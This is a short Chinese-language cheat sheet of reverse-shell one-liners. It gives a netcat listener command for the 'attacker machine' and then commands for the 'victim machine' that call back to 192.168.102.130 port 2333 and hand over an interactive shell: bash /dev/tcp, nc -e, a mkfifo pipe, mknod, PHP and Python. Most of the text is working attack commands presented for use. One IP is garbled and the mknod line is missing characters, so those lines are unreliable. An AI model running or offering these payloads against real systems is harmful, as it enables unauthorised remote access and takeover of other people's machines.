发布时间:2023-07-08 11:00
攻击机上执行 nc -lvp 2333
说明:
使用bash命令(bash命令行是计算机操作的一种方式)
攻击机上输入 nc -lvp 2333
受害机上输入 bash -i >& /dev/tcp/192.168.102.130/2333 0>&1
-i 是指产生交互式的shell
/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的.
但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信
nc要安装正确的版本(存在-e
即可反弹shell)
nc -e /bin/sh 192.168.146.102.130 2333
这种方法是基于nc没有存在-e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.102.130 2333 >/tmp/f
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
这中方法类似于第三种方法。
mknod backpipe p; nc 192.168.102.130 2333 0backpipe 2>backpipe
mknod命令用于创建Linux中的字符设备文件和块设备文件。
php
php -r '$sock=fsockopen("192.168.102.130",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.102.130",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'